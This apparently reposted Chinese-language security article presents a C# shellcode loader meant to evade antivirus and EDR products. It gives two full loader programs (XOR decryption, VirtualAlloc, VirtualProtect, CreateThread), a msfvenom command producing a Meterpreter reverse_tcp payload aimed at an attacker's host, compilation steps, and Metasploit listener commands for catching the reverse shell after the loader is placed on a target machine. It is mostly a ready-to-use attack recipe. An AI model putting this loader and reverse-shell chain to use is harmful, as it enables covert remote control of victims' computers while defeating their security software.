摘要
该程序代码使用C#编写,使用特定的Windows API函数组合绕过EDR和防病毒软件, 能够将Payload安全注入到内存而不会被检测到,从而通过反向Shell建立远程连接。代码基于Windows11 Pro系统测试, 通过Visual Studio进行编译, 在Kali Linux中实现反向shell监听。
shellcode加解密实现
以下代码实现了通过解密并执行内存中shellcode的方式来规避传统的安全检测机制, 如杀毒软件或EDR系统,代码如下:
using System;
using System.Runtime.InteropServices;
class Program
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
public static void Main(string[] args)
{
// Encrypted shellcode (encrypted using XOR as an example)
byte[] encryptedShellcode = new byte[510] { /* ... Encrypted shellcode data ... */ };
byte[] buf = DecryptShellcode(encryptedShellcode);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x1000 /* MEM_COMMIT */, 0x04 /* PAGE_READWRITE */);
Marshal.Copy(buf, 0, addr, buf.Length);
uint oldProtect;
VirtualProtect(addr, (uint)buf.Length, 0x20 /* PAGE_EXECUTE */, out oldProtect);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
static byte[] DecryptShellcode(byte[] encryptedShellcode)
{
byte key = 0xAA;
byte[] decryptedShellcode = new byte[encryptedShellcode.Length];
for (int i = 0; i < encryptedShellcode.Length; i++)
{
decryptedShellcode[i] = (byte)(encryptedShellcode[i] ^ key);
}
return decryptedShellcode;
}
}
该代码使用了以下四个Windows API函数的组合:
VirtualAlloc
:在进程的虚拟内存中分配一块可读写的内存区域。
VirtualProtect
:更改内存区域的保护属性,使其变为可执行。
CreateThread
:在进程中创建一个新线程,用于执行解密后的 shellcode。
WaitForSingleObject
:等待线程执行完成。
解密shellcode动作:
使用简单的 XOR 算法对加密的 shellcode 进行解密。加密数据在 encryptedShellcode
数组中,密钥为 0xAA
。
DecryptShellcode
方法通过循环遍历 encryptedShellcode
数组的每个字节,将其与密钥 0xAA
进行 XOR 操作,生成解密后的 shellcode。
内存分配与权限设置动作:
使用 VirtualAlloc
分配一块内存,初始设置为可读写。
使用 Marshal.Copy
将解密后的 shellcode 写入分配的内存。
调用 VirtualProtect
将内存保护设置为可执行 (PAGE_EXECUTE
)。
执行ShellCode动作:
使用 CreateThread
创建一个新线程,并将起始地址设置为 shellcode 的内存地址。
WaitForSingleObject
阻塞主线程,直到新线程执行完成。
shellcode内存写入实现
以下代码通过直接将 shellcode 写入内存并以线程方式执行,绕过了常规的可执行文件检测,达到执行自定义 shellcode 的目的,代码如下:
using System;
using System.Runtime.InteropServices;
class Program
{
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
public static void Main(string[] args)
{
byte[] buf = new byte[510] { /* ... Shellcode ... */ };
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x1000, 0x40);
Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
在上面的代码中, 核心动作如下:
内存分配和shellcode写入:
byte[] buf
:定义了包含 shellcode 的字节数组 buf
,这是要注入和执行的代码。
VirtualAlloc
被调用来分配一块内存区域,其大小与 buf
相同,标志参数 0x1000
表示内存将被提交,0x40
设置内存区域为可读、可写、可执行 (PAGE_EXECUTE_READWRITE
)。
Marshal.Copy
:将 buf
中的 shellcode 复制到 VirtualAlloc
分配的内存中。
线程创建与执行:
CreateThread
:创建一个新线程,指定线程入口地址为addr
(即 shellcode 的内存地址),新线程将从buf
中的 shellcode 开始执行。WaitForSingleObject
:设置线程等待时间为0xFFFFFFFF
,即无限等待,这样主线程会暂停,直到新线程执行完成。
Shellcode生成
Shellcode生成这里主要使用Metasploit的msfvenom工具实现,完整命令如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<替换成自己IP> LPORT=<替换成自己的端口> -f csharp
命令参数含义如下:
-p windows/x64/meterpreter/reverse_tcp
:指定生成的 payload 类型。在这里,使用的是Meterpreter
反向 TCP 连接的 payload,它适用于 64 位 Windows 系统。Meterpreter 是 Metasploit 的一个高级 payload,提供远程访问功能。
reverse_tcp
表示使用反向连接,目标机器将向攻击者的机器发起连接请求。
LHOST=<YOUR_IP>
:指定攻击者的 IP 地址(需要替换成实际 IP 地址),目标机器会连接到这个 IP。
LPORT=<YOUR_PORT>
:指定攻击者的监听端口,目标机器会连接到这个端口(需要替换成实际端口)。
-f csharp
:指定输出格式为 C# 代码。生成的 payload 将以 C# 字符串形式输出,便于集成到 C# 代码中。
Shellcode生成完成后, 将上面代码中的byte[] buf内容替换成shellcode, 这样可以让编译后的程序完成对shellcode的加载执行。
加载器编译
代码使用C#编写, 需要使用Visual Studio打开项目, 或使用.NET SDK编译代码, 命令如下:
csc loader.cs
编译完成后,将生成一个名为: loader.exe的可执行程序。
在Kali Linux 上,启动一个监听器来捕获反向Shell, 在Metasploit中使用以下命令:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT <YOUR_PORT>
run
将loader.exe上传到目标机器执行, 在Kali Linux中通过以下命令进行shell交互:
meterpreter > sysinfo
meterpreter > shell
以下是效果图:
原文始发于微信公众号(二进制空间安全):一种几乎绕过所有EDR的shellcode加载器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论